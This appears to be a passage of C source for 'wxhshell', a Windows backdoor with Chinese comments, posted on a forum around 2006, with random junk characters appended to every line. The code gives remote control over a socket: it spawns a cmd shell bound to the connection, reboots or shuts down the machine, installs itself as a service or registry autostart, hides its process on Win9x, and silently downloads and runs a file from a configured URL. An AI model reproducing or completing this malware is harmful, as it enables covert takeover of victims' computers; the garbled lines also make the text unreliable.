      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y+C.2 ca  
    break; 8w[nY.#T  
  } _Q:739&  
  // 安装 qhPvU( ,  
  case 'i': { LD~s@}yH>  
    if(Install()) --~m{qmy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ly{Q>MBM  
    else 0F\ e*{gc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P0En&g+~  
    break; x*9CK8o=  
    } dX58nJ4u  
  // 卸载 AxN.k  
  case 'r': { ;I#S m;  
    if(Uninstall()) {c3u!} mW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YJ&K0 %R  
    else bYKyR}e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f.o,VVYi  
    break; 7sQw&yUL)  
    } B~0L'8WzW  
  // 显示 wxhshell 所在路径 4+V+SD  
  case 'p': { 5nGDt~a  
    char svExeFile[MAX_PATH]; 8%$Vj  
    strcpy(svExeFile,"\n\r"); WB=pRC@  
      strcat(svExeFile,ExeFile); C y b-}l  
        send(wsh,svExeFile,strlen(svExeFile),0); H8ws6}C  
    break; vlD!YNy  
    } 9 pGND]tIi  
  // 重启 2ja@NT  
  case 'b': { M =!RJ%6f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M# sDPT  
    if(Boot(REBOOT)) Y{ho[%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bHr2LhQCN  
    else { 1D0_k  
    closesocket(wsh); C^ hHt,&  
    ExitThread(0); k+"+s bsW'  
    } ',Mi D=_  
    break; l#FW#`f  
    } _d$0(  
  // 关机 : .-z) C}  
  case 'd': { o|s JTY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #L{+V?  
    if(Boot(SHUTDOWN)) .Z!!x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RsYn6ozb  
    else { %G<!&E!0h  
    closesocket(wsh); 0 gyg  
    ExitThread(0); +P7A`{Ae  
    } T41&;?-  
    break; ;BEg"cm  
    } m\h/D7zg  
  // 获取shell xb!h?F&  
  case 's': { r|XNS>V ,$  
    CmdShell(wsh); <bwsK,C  
    closesocket(wsh); ? [?{X~uq  
    ExitThread(0); yn0OPjH  
    break; eB:OvOol*^  
  } wo>srZs  
  // 退出 EBY=ccGE{  
  case 'x': { !OJ@ =y`i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6 1= ?(Iw  
    CloseIt(wsh); 3gW4\2|T  
    break; K)Nbl^6x  
    } o b  
  // 离开 v5|X=B>&>  
  case 'q': { y@;4F n/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); oh '\,zpL  
    closesocket(wsh); |5wuYG  
    WSACleanup(); 1Ftl1uf  
    exit(1); JD^&d~n_  
    break; :<OInKE>Cx  
        } ?"p:6%GFz  
  } !@ml^&hP  
  } a2dlz@)J  
SWjOJjn  
  // 提示信息 3U&Qo nCV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PMJe6*(x/  
} wX6VapFboI  
  } qAsZ,ik  
7@MGs2  
  return; ;SzOa7  
} v hUn3|  
qy`95^  
// shell模块句柄 # E'g{.N  
int CmdShell(SOCKET sock) Mj&f7IUO  
{ uf* sI  
STARTUPINFO si;  0gBD  
ZeroMemory(&si,sizeof(si)); _Cv({m&N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %C= {\]-2~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "h/{YjUS  
PROCESS_INFORMATION ProcessInfo;  J9oGw P  
char cmdline[]="cmd"; f[n#Eu}   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y8I$J BO  
  return 0; A/W-'%+`  
} ex8mA6g  
P5ii3a?R  
// 自身启动模式 X6mY#T'fQ  
int StartFromService(void) |X9YVZC  
{ G?)vqmJ%  
typedef struct Eb`U^*A  
{ A6'G%of  
  DWORD ExitStatus; Urhh)i  
  DWORD PebBaseAddress; $;%-<*Co  
  DWORD AffinityMask; Ga-AhP  
  DWORD BasePriority; "Hmo`EB0  
  ULONG UniqueProcessId; /xjHzva^ w  
  ULONG InheritedFromUniqueProcessId; J{=by]-rD,  
}   PROCESS_BASIC_INFORMATION; --0z"`@{  
,UQ4`Mh^L  
PROCNTQSIP NtQueryInformationProcess; } XCHoB  
o/9(+AA>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; da3]#%i0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $4`RJ{ZJw]  
_pQ9q&i4  
  HANDLE             hProcess; guv)[:cd;  
  PROCESS_BASIC_INFORMATION pbi; ,MwwA@,9-  
rMqWXGl`(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); " *xQN "F  
  if(NULL == hInst ) return 0; / sENoQR  
wobTT1!|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9rX[z :  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z3b8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }io9Hk>|  
&yzC\XdA  
  if (!NtQueryInformationProcess) return 0; x~xaE*r  
t &u,Od  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GLA,,i'i9  
  if(!hProcess) return 0; `gy]|gS#b  
-p`hevRr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KcVCA    
w,]cFT  
  CloseHandle(hProcess); b/oJ[Vf  
p"/1Kwqx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'DlY8rEGP  
if(hProcess==NULL) return 0; (F_Wys=6  
i\G@kJNnF  
HMODULE hMod; 6q?C"\_  
char procName[255]; no+{9Uf  
unsigned long cbNeeded; *&>1A A  
St/Hv[H'[E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Yt2_*K@rC  
eJ>(SkR:[  
  CloseHandle(hProcess); ;Gxp'y  
3a9Oj'd1M  
if(strstr(procName,"services")) return 1; // 以服务启动 nH*U  
vk+TWf  
  return 0; // 注册表启动 zT0rvz1),M  
} +o)S.a+7  
n.,\Z(l|0  
// 主模块 Y_S^B)y  
int StartWxhshell(LPSTR lpCmdLine) z>NRvx0  
{ b&p*IyJR  
  SOCKET wsl; ?s(%3_h  
BOOL val=TRUE; 'OSZ'F3PV  
  int port=0; |UM':Ec  
  struct sockaddr_in door; 3*64)Ol7t]  
UDV,co  
  if(wscfg.ws_autoins) Install(); nCEt*~t9VE  
FJo N"X  
port=atoi(lpCmdLine); It!%/Y5  
I(/W+ o  
if(port<=0) port=wscfg.ws_port; -O3^q.   
r#rQ3&Vn  
  WSADATA data; #b []-L!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ? )-*&1cv  
^V v7u@y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Afo(! v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |h(!CFR  
  door.sin_family = AF_INET; JAen= %2b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?Jm/v%0O  
  door.sin_port = htons(port); vn~DtTp/  
or\ 2)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $I~=t{;"XV  
closesocket(wsl); Lp20{R  
return 1; _Qs )~  
} /s uz>o\  
e-H:;m5R  
  if(listen(wsl,2) == INVALID_SOCKET) { 25*/]i u  
closesocket(wsl); S #%'Vrp  
return 1; ,ju1:`  
} 8$-Wz:X&  
  Wxhshell(wsl); MOP %vS   
  WSACleanup(); e2UbeP  
PX52a[wNDH  
return 0; "EF: +gi#"  
A1Mr  
} wx BQ#OE  
^o,Hu#  
// 以NT服务方式启动 eI; %/6#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;2kiEATQ 1  
{ `,Q uO  
DWORD   status = 0; dgE|*1/0  
  DWORD   specificError = 0xfffffff; o\1"ux;b  
`Z>4}<~+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :}FMauHh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $jo}?Y+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y(78qs1w  
  serviceStatus.dwWin32ExitCode     = 0; 37x2fnC  
  serviceStatus.dwServiceSpecificExitCode = 0; d"uR1 rTk  
  serviceStatus.dwCheckPoint       = 0; CT3wd?)z`  
  serviceStatus.dwWaitHint       = 0; .RH}/D  
x "]%q^x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KQaw*T[Q3w  
  if (hServiceStatusHandle==0) return; fyYT#r  
c^}gJ  
status = GetLastError(); yAG4W[  
  if (status!=NO_ERROR) h" Yi'  
{ DY^q_+[V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?Q wDV`  
    serviceStatus.dwCheckPoint       = 0; Fl]$ql   
    serviceStatus.dwWaitHint       = 0; :e ?qm7cB  
    serviceStatus.dwWin32ExitCode     = status; U:c!9uhp  
    serviceStatus.dwServiceSpecificExitCode = specificError; BQ,]]}e43z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k]`I 3>/L  
    return; LR]P?  
  } /@lXQM9 T  
>&RpfE[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ko@I]gi2  
  serviceStatus.dwCheckPoint       = 0; P )_g t  
  serviceStatus.dwWaitHint       = 0; 3X89mIDr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &Ph@uZ\  
} B-|:l 7  
0Q_AF`"  
// 处理NT服务事件,比如:启动、停止 ueDG1)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k]l M%  
{ Y b]eWLv  
switch(fdwControl) ]}i_NqW)  
{ V9I5/~0c  
case SERVICE_CONTROL_STOP: @sav8 ]  
  serviceStatus.dwWin32ExitCode = 0; 3%|LMX]M5_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; jl{>>TW{x  
  serviceStatus.dwCheckPoint   = 0; k+'Rh'>  
  serviceStatus.dwWaitHint     = 0; YDyOhv  
  { .d^8w97  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &sh %]o8  
  } 0SwWLq  
  return; FcdbL,}=<  
case SERVICE_CONTROL_PAUSE: yDWzsA/X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NcZ6!wWdE  
  break; (ST />")L  
case SERVICE_CONTROL_CONTINUE: M-,vX15S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z<;<!+,  
  break; fMlxtj+5   
case SERVICE_CONTROL_INTERROGATE: h<4WY#Y  
  break; SWY?0Pu  
}; QB'-`GwL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :-xp'_\L  
} hdQ[=PH)  
dMCV !$  
// 标准应用程序主函数 5Z ] `n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d2'9C6t  
{ ~#h@.yW^JN  
8h=H\v^f  
// 获取操作系统版本 R,x\VX!|  
OsIsNt=GetOsVer(); =7e~L 3 K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ={~`0,  
`S2YBKz,1  
  // 从命令行安装 m%m/#\J E  
  if(strpbrk(lpCmdLine,"iI")) Install(); _=3H!b =  
\kF}E3~+#  
  // 下载执行文件 ]t\fw'  
if(wscfg.ws_downexe) { eY"y[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AH;0=<n  
  WinExec(wscfg.ws_filenam,SW_HIDE); LUna stA^  
} T12?'JL^r  
>7!4o9)c  
if(!OsIsNt) { Q6Vy}  
// 如果时win9x,隐藏进程并且设置为注册表启动 v:PNt#Ta  
HideProc(); Y\(Q  
StartWxhshell(lpCmdLine); WpP8J1KN[  
} !sfOde)$  
else y)t< r  
  if(StartFromService()) z'O$[6m6  
  // 以服务方式启动 6k%N\!_TUW  
  StartServiceCtrlDispatcher(DispatchTable); i*:lZeU61  
else #.$p7]  
  // 普通方式启动 .M!6${N);  
  StartWxhshell(lpCmdLine); dB ?+-aE  
b7E= u0  
return 0; tQ< ou,   
}
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只看该作者 1 发表于: 2006-10-10
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